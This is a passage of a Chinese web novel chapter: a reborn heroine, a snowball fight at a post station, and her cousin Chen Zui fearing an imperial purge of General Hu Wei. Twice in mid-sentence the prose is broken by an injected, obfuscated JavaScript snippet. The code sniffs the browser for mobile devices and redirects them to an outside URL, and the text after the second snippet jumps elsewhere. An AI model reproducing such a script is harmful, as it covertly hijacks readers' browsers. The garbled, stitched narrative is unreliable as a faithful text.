前世她十岁时初学握剑,谢铮怕寻常长剑笨重她握不住,特意寻了工匠,为她量身打造这柄短剑。 只是在池阳那几年,她个子猛然间窜得老高,这柄短剑显得短小,用起来已不趁手,后来这剑被陈最收了去,她就再没见过。 若不是惜言拿出来,她几乎忘了这把剑的存在。 “我哥让你送来的?” 惜言摇头。 “我师傅给的?” 惜言是个哑巴,不会说话,闻言摇头又点头,用手比划着:不是这样的。 惜言也不知是谢铮从哪儿淘来的大宝贝,武艺精湛,不会说话,却偏偏是个性子十分活跃的人,总是风风火火,整日顶着个嬉皮涎脸,没有半点架子。陈少闲小时最爱跟他玩,为此还特意学了手语。 陈少闲伸手接过短剑,翻来覆去地摩挲打量着。若算起前世,这把短剑她已有十年未见。 陈最将这短剑护养得极好,剑身不见半点锈痕,刃口依旧锋利如初,剑鞘上嵌着的二十八颗宝石,闪着光。 她低头数了数,还剩二十五颗,不知怎的少了三颗。 惜言打着手语:昨夜你哥同三公子又打起来了。 昨夜里她还未来得及劝谢铮,反倒是谢铮先给他自己哄好了。他与陈最也是三四年未见,两人喝了酒之后话是格外多,天南地北地聊着,她在一旁听得头疼。最后是陈最将她赶了出去。 她寻思着兄弟俩太久没见,定是有不少贴心话不便当着她的面说,于是她很是放心地走了。哪里想到,两人又背着她打起来。 “那我哥肯定又输了。” 惜言嫌手语太慢,直接从兜里掏出纸笔,将昨日她离开之后发生的事一一写下。 陈少闲盯着写满了一页的纸,不由得皱起眉。 “我哥让师傅将我逐出师门,断绝师徒名分?” 惜言点头。 “师傅同意了?” 惜言摇头,陈少闲轻轻叹了口气:“还好,料想我师傅也不是这般绝情的人。” 惜言打手语:公子把剑给你,由你自己决定。 陈少闲点点头,静默了片刻迟疑道:“那昨夜师傅回房,休息可好?” 惜言怔了一下,没想到她会问这个问题,还是打起手语:“睡得可好,一沾枕头便睡,现在还没醒。” 陈少闲自嘲笑了一下。 惜言见她眼底乌青,又在纸上写道:军营是不是很辛苦,瞧你都瘦了许多。 陈少闲摸了摸脸,刚想说些什么,只见惜言又埋头继续写道:好像也黑了不少,昨日若非公子提起,我还真当是哪个粗莽小兵,你如今这模样,混在亲兵堆里还真没什么区别。 陈少闲:“……。” 虽说事实本就如此,可她就算活了两辈子,也还是爱听些顺耳好听的话。 陈少闲在他面前转了一圈,试图唤醒点他的良知:“你看看我,只是比小时高了点,瘦了点吗?” 惜言闻言,果真认真端详了她片刻,又埋头写道:我瞧着是不如小时候好看。 陈少闲正低头看惜言写的字,隔壁窗棂忽然轻响一声,紧跟着便有一道身影纵身跃下,他们二人本就挨着窗边案几上,恰好一抬眼便看见了。 陈少闲凝神望去,只觉那身形有些熟悉,她思索一番,才想起来,当即又大喜,对着雪堆里挥剑砍雪的人高声喊道:“闻止。” 一连喊了三四声,楼下那人却无半点回应,陈少闲蹙眉,转头问身旁的惜言:“你弟这耳背还没好啊?” 惜言打手势:时好时坏。 要说谢铮这人也是挺有怪癖的,手下两大贴身侍从竟是一对兄弟,一个哑巴,一个耳背,只是哑巴是真哑巴,耳背却是时好时坏,全凭自己心意。 喊他不理,陈少闲只能托腮倚在窗台静默望着,见他用手中佩剑,一剑一剑劈砍着雪花。 她翻了翻白眼,惜言瞟了楼下一眼,撇撇嘴,撇开头没眼望他。 “闻言。” 隔壁房间忽然传来一声,陈少闲闻声忙觑了一眼,便见谢铮穿着素白单衫,临窗而立,一头乌发松松挽起,随意的用一根素缎发带系住,露出半张清隽侧脸。 他生得真好看,骨相周正,浓眉过目,尚在少年时容色殊绝,长成后殊绝依旧,又添英朗之气。明明很是随意往那儿一站,他周身气息似乎都变了。面上是世家子弟独有的矜贵温润,眉眼温和,瞧着一派可亲近,可唯有近身才知,那温和底下是冷淡疏离,极不好相处。 陈少闲也算是见过不少生得不错的男子,却都没有一人,比得了他。 祈宴也不如他。 可谁敢想,这般容颜出众,手掌重权的人物,竟被世人将其画像贴在恭桶之上,当真是遗臭万年啊! 陈少闲转过脸去。 也就在她转脸的刹那,谢铮看向了她,只来得及瞥见她的后脑勺,应当刚睡醒还未梳理过,发丝横七竖八地支棱着,乱糟糟地缠作一团,看着潦草又邋遢。 他嘴角往下抿着,似乎心情糟糕透了。 暼了一眼庭院内还握着佩剑砍雪的闻止,脸上的神情更冷了几分,他不耐烦地喝道:“闻止!” 砍雪的那位充耳不闻,估摸着耳背又发作了,可能确实也听不见。 谢铮脸色难看极了。 窗台上压着厚厚一层雪花,他随手抓起一把便捏了一个雪球,向着闻止的方向砸了过去。 雪球急袭而来,宛若暗器一般,闻止似有感应,腾空一翻,抬脚将雪球踢回谢铮的方向。 风雪扑面,谢铮抬手广袖一翻,将雪球转个道,竟向右边砸去。 陈少闲的客房挨着谢铮的,就在他的右边,她本倚在窗边歪着头心不在焉地看着惜言递过来的纸条,听到风声时雪球已逼近后脑门,她转过脸,雪球“啪嗒”一下砸在额头上。 带了力道,顿时砸的陈少闲有些懵。 她缓了一会,才出声问道:“师傅是何意?” 谢铮未解释,只道:“我们玩玩!” 说话时,谢铮并未看她,而是目光落向楼下,落在正一眨不眨昂着头向上眺望的闻止身上。 闻止耳背自是听不见两人说的话,对上陈少闲的目光,他咧着嘴,一笑。 他这一笑,同惜言便有八分相像。 陈少闲盘着手里的雪球,皮笑肉不笑地对楼下喊道:“好呀!” “什么?”闻止很大声的回应她。 陈少闲将雪球往谢铮身上猛地一砸,抓起枪杆从窗台上翻身跃下。谢铮想也未想,只穿着一身单衫跟着一同跃下。 一夜风雪肆虐,漫天皆白,因屋檐下避风,适合藏雪,门口堆积的雪又厚又重,反倒驿舍院子内的雪被风吹走一部分,院中种植的寥寥几棵果树只埋了半截。两人踩在新雪上,松软的碎雪没过小腿,走上两步便觉得沉滞。 谢铮从旁边捧了雪,抬头笑着,征求意见:“开始?” “来呀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471251|201493||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 陈少闲应下声来,忙躬着身去抓雪,下一刻,十几个雪球挟着冷风呼啸而来,她根本避无可避。 迎面挨了好几记冰凉重击,雪沫四溅,糊了她满脸。 陈少闲透过碎雪望出去,就数闻止砸的最欢,她二话不说抡起枪杆追着他屁股就捅。 楼下的嬉闹声,陈最自是听见了,他躺在床上看了眼窗外初雪放晴的碧空,日光破云而出,照着檐下悬挂的冰棱,折射出细碎寒光,亮得晃眼。 陈最照着阳光的脸没什么表情,他的腿终究还是落下了病根,每逢天寒必会犯病,如今已进入寒冬,再加上这一路上吃不好睡不好,人也跟着清瘦了一圈。 平日里他从不曾对陈少闲提起过,只是夜深人静疼的辗转。他自厌地闭上眼,那张素来俊逸的脸,因连日睡不好,罕见得显出几分脆弱来。 吃药还是不吃药,他在心里做了许久功课,才不情不愿唤来林一为他熬上一碗。 待林一真将那黑糊糊的药碗端上来,他又不愿意喝了。 陈最撑着身子半坐起来,光闻着味,他眉头不自觉地拧在一起。挣扎再三才伸手接过药碗,刚一入口,他的脸色倏然就变得痛苦起来。 在林一的注视下,陈最强忍着咽下那口糊嗓子的滂臭的药汁,将药碗推到一边,才缓缓道:“有些烫,我晚点再喝。” “将军,你就快喝了吧!”林一也拧着眉,劝道:“药凉了,就更臭了!” 陈最:“…先放一放吧!” 林一待在他身边时间太长了,哪能揣不明白他的心思,若不是腿疼的厉害他是断不会想起用药。 他也知晓自己劝不动,于是很干脆走到窗前,举目望去,只见一士兵打扮的少年斜身移步,枪头上红缨闪闪,枪尖对着俊俏公子胸口点去,离胸口尺许,却凝住不进,少年奋力抽枪,一个跟头狠狠摔进雪里。 紧随而来,雪球簌簌往她身上砸去。 三打一? 林一挑着粗浓黑眉,瞥了一眼陈最,便扯着嗓子朝楼下喊道:“陈少闲!” 话音刚落,陈最猛地起身,压低声音喝道:“你别说,我喝药就是!” 陈少闲被谢铮伙同闻止砸在雪堆里,一时被压制的动弹不得,听到声音,忙不迭地回了句:“咋啦?” 陈最瞪了林一一眼,双手捧起药碗视死如归般,闭着眼一口吞了下去。药汁滑过喉咙,几次想吐出来,被他强硬压着咽了进去。 一碗药汁喝的干净,眼睛也跟着红了起来。 他神色厌厌,对着林一脱口道:“滚吧!” 林一似乎经常听他说这句话,习以为常,捡过药碗,心满意足地推开房门。在出房间之前,他还不忘对着楼下某人喊道:“将军说天太冷,别玩太久容易冻伤!” 陈少闲“哦”了一声。 屋里只剩下陈最一人,他腿疼又坐回床上,侧着脸视线落向窗外雪后初晴的长空,听着楼下传来几人的欢笑声,眸色渐深。 打雪仗? 那是十六岁之前陈最能做的事,现在的他一看见雪就畏惧。那骨头缝隙里传来剔骨般的钝痛时时提醒着他,断腿之痛。 药能缓解一时,却救不了他一世。 林一收走药碗之时递了封信给他,陈最不耐烦的将信纸展开,待看清信上内容后,脸色更加难看,随即嘴角多了几分苦色。 原先还纳闷他一介边防参将,镇守信地,军政考绩自有巡抚、都督在边核考,向来只需具册上报,从无入京述职之理。边关军营,件件事项皆有迹可查,却劳他奔赴千里,当面陈述。 况他一走,便有谕旨调邻城参将署理。 陈最垂着眸。 原来如此! 那人才刚坐稳椅子几年,却将刀锋一转,一而再的将刀子狠狠砍向那群能替他打天下、守天下的武将身上。 那封信纸被丢进床榻前的炭火盆里,陈最望着那片灰烬,眸光沉冷如同檐下冰棱,全无半点暖意。 9.忠烈遗孤。 七岁那年,陈最便册立为侯府世子。 而他受册那年,父母俱亡,一个没了庇护的孤儿,爵位尚未正式受封,身后又无半分倚靠,周遭尽是虎狼豺豹。 他想要往上走一步,皆是步步维艰。 自四年前决意投靠胡伟那日起,他便与对方死死捆在一处。如今京中那位真要动了铲除胡伟的心思,他即便想抽身自保,也再无可能。 可若真如呦呦所言,胡伟谋逆一案即将事发。陈最深知,胡伟此人骄纵不法是真,却绝无半分谋反之心,想来这滔天大罪,不过是朝中对手为了扳倒他,刻意罗织的罪名罢了。 那到底是谁,想要扳倒胡伟? 陈最的视线下意识落向自己的小腿,那里裹着厚重的羊毛毡,被布条层层束紧。是从不会针线的呦呦,一针一针歪歪扭扭缝出来的,模样难看,裹着也不舒适,却足够暖和。 想起她在烛火下低头缝制的模样,因不会走针,指尖还被针尖戳破了好几处,她绷着脸却是一声不吭。 陈最心头倏然一阵烦躁,他抬起手背搭在脑门上,遮住眼底疲惫,也遮住那几分无人可见的脆弱。 楼下众人似是还未尽兴,不时传来跺脚的声响,紧接着又是铲雪的“嚓嚓”声。陈最刚用过药,腿疼的症状轻了些,不知不觉在一声一声的“嚓嚓”声中睡了过去。 待陈最彻底醒来已是日薄西山,他抬眼望向窗棂,檐下的冰棱尖端正缓缓消融,水珠一滴一滴,极有节奏地轻轻敲着阶前残雪。 睡得好,人的戾气便散了不少,连着瞧着谢铮,都顺眼了几分。 陈少闲今日活动量大,胃口比昨日的好,干了两大海碗米饭,没饱。她舔了舔唇角,起身本想再盛一碗,触到陈最淬了毒的眼神,忙不迭地将碗放下。 没吃饱喝足,她托着腮,嘴里碎碎念:“哥,有句话我不知当讲不当讲。” 陈最低头扒拉着米饭,眼皮半掀,只道:“那就别讲。” “可是不讲我睡不着啊!” “你会睡不着?”陈最嗤笑一声:“那不可能!” 陈少闲一噎,谢铮已在旁将自己碗中剩下的半碗米饭拨进她碗里,温声道:“我吃不下了,给你吃!” 陈少闲:“……” 陈少闲好歹也是活过两辈子的人,上辈子虽说过得稀里糊涂,在军营里不分男女,粗枝大叶,可自从成婚之后,便被祈宴伺候得妥帖,当作娇贵夫人一般养着,哪里还肯吃旁人剩下的饭菜。她当即将碗推回他面前,气鼓鼓的道:“谁要吃你的剩饭!” “那我给你重盛一碗?” 谢铮这会倒是难得好脾气,竟真的起身要去为她盛饭,陈少闲忙一把将海碗夺了回来,虽然心里早已软了七八分,面上却偏要端着怒色,口是心非道:“不用!” “你方才不是说,没吃饱睡不着?” “我没有!”陈少闲梗着脖子回道。 谢铮也不与她争执,重新坐了下来,转头对陈最道:“令妹的脾气,真是愈发的怪异啊!” 陈少闲和陈最没理他。 谢铮继续道:“我瞧着性子也越像男子,莫不是真把自己当成了彪悍军爷?” 听到这话,陈少闲没理他。 “不是说池阳乃苦寒之地,那里四周有经年不化的雪山,霜雪连霏,千径冰封。”谢铮说着,目光转而落在陈少闲身上,视线不着痕迹扫过她身形,表情认真道:“你怎反倒吃得这般圆润?” 陈少闲没吃饱,心里正委屈着,又被谢铮那碎嘴子一而再的挑衅,脸色瞬间沉了下来,也懒得收敛自己情绪,当即一拍桌子,恶狠狠瞪着他。 这人嘴真欠。 陈少闲心知是没法同他好好说话,一脚踢开身下椅子,径直走了出去。 见陈少闲走远,陈最才咧着嘴同谢铮一笑。 这一笑,谢铮便发怵。 “气跑了?” 谢知退怯怯望向陈最,点头。 “有话要单独同我讲?” 谢知退沉默了片刻,像是憋了许久,终于忍无可忍开口:“她如今怎么变成了这副模样?” “那副模样?” “你明知故问!” 陈最轻笑一声,抬手给谢铮斟了杯热茶,缓缓道:“她在军营里待了近三四年,同小兵们同吃同住,如今同你麾下的兵卒,并无区别!” “可她终究不是男子。” “男子女子,又有何区别?她也握得住刀,扛得动云梯,也上得了战场。她是一名合格的将士,亦不输男儿的风骨!” 谢铮还是不理解:“二哥为何要这般?让她安安静静做个闺阁女子不好吗?” 陈最端起茶杯,平静道:“她这人打小就好吃懒做,受不了一丁点的苦,二伯母在世时,原也动过让她学武的念头,只教了她几招花拳绣腿,便被二伯父拦了下来。他总说,她母亲性子彪悍,整日舞刀弄枪,就连说话也非要扯着嗓门子吼,实在不成体统。在二伯父眼中,姑娘家就应该娇滴滴,柔柔弱弱,漂亮懂事。” “陈少闲八岁之前,也同寻常闺阁女儿没两样,只是——”陈最顿了一下,微微蹙起眉头:“漂亮懂事,救不了她!” 谢铮在义阳城与陈最同吃同住两年,对陈少闲的遭际又何尝不清楚,母亲难产而亡,棺木入土未满一月,父亲便急着续弦。她在家中受尽继母磋磨,眼睁睁看着身边人一个一个被发卖。 可谢铮生在东都,周遭往来皆是达官贵人,这种事他见得太多,比陈少闲境遇更惨的也比比皆是。 “她明明还有别的路可走,就算你当年带她去池阳,安置在身边照看,也好过将她扮作男子送进军营的好!” 陈最抬眼,淡淡反问:“然后呢?” 谢铮一怔:“什么然后?” “然后等着嫁人生子,一辈子守着一人过活?同她母亲一个下场?”陈最一脸阴郁,不由得冷了声调:“知书达理她样样不沾,容貌也算不上是绝美,在这吃人的世道里,依着她的性子,你让她走她母亲的老路,最后活活气死在后宅?” 谢铮沉默着没应声。这男尊女卑的世道,但凡有点钱有点权的,哪个不是三妻四妾。就连他父亲,也免不了纳了好几房的妾室,儿女一多,情分自然就淡了。他不过是幸运的出自母亲的肚子,落得一个嫡子的身份。 他同父亲的关系说不上好,也说不上不好。若非要讨个比较,他远不及兄长在父亲心中的分量,论宠爱,又不如两位庶弟。 他好半晌才缓缓开口:“可所有人,不都是这样走过来的吗?” 是啊,她们都是这样走过的啊! 陈最忽然想起那年七岁,他第一次见得那妇人。 她生得真好看,一身石榴红裙骑着一匹红马,连人带马,宛若烈日骄阳,炽热张扬,陈少闲同她母亲的性子半点也不相像。她母亲的性子烈如火,行事飒爽风行,不似其他闺房娇女。 她会组织府中妇孺缝制军衣,她会教会将士家眷垦荒种地,她开设粥厂接济流民,带领农户重建家园。 陈最实在不懂,这般自强飒爽、如烈日骄阳的女子,怎会被困在后宅这方寸之地,生生被嗟磨得气郁而亡。 陈最明白,这件事上他同谢铮辩不出所以然,他听说待他大哥成婚之时,夫人陪嫁的六名丫鬟,按规矩将尽数抬作贵妾。想他们东都世家公子,妻妾成群自然规律。 他懒得争辩什么,缓缓端起桌面上的茶杯,唤他:“知退兄,以茶代酒,敬君踏雪相赴。” 谢铮抬起漂亮的眼眸,薄唇紧紧抿着:“二哥,咱们重逢至今,你还从未唤我一声三弟!” 陈最一笑:“毕竟我不是真正的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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胡伟这人敢打硬仗,善长途奔袭,掌天下重兵之后,他征战四方,又加上老将老去,他凭累累战功,一跃成为大晋最能打的统帅。 威名甚至盖过开国六公爵。 谢铮略一思忖,就明白过来,功高震主,陛下是要拿他定罪。 “胡都督这人虽骄横跋扈了点,但却刚猛悍勇,有万夫不当之勇,父亲曾言他乃军事天才,大晋有他可保几十年的太平,陛下哪怕是调查,也只查他行事骄横方面,削他部分兵权,却绝不会取他性命,二哥不必过于担忧!” 陈最见状,心里便明白了,谢铮是父兄呵护长大的世家公子,那些地沟里阴暗的权斗不谙,他耐着性子分析给他听:“我守边三年,若有功,自有玺书褒奖,若有过,自有弹劾的章子递到,于规章不该我进京述职一说,陛下却偏谕旨点我进京。” 陈最顿了一下,又续道:“那胡伟一旦落了难,依着陛下的性子,只要沾上“胡党”两个字,必死无疑。而我不幸,在胡伟手下寻事,估摸着已是俎上鱼肉。” 谢铮沉思,半晌才道:“你怕什么?陛下乃我父亲亲舅,父亲认了你为儿子,你便是喊上一句舅爷也不为过,他定不会动你!” “那赵正乃陛下亲侄,为大晋立下不世之功,不还是被陛下下令处死。”陈最冷笑一声:“皇权面前,骨肉亲情,一文不值。” 谢铮不说话,似在思量,他十七岁便进入官场,一入仕即巅峰,掌宫禁勋卫,天家视他如亲孙子,锦衣玉食,诗酒年华,他权柄在握,风光无两,哪怕前路崎岖,也有父亲亦或兄长为他扫平。 未入仕之前,他只需享乐,入了仕途,他每日最苦愁的莫过于怎么训练手下那群兵痞子。 谢铮不说话,陈最笑了笑,旋即话锋一转:“对了,伯母是不是又为我寻了门好亲事,只待我回了东都,见上一面便要把亲事定下来?”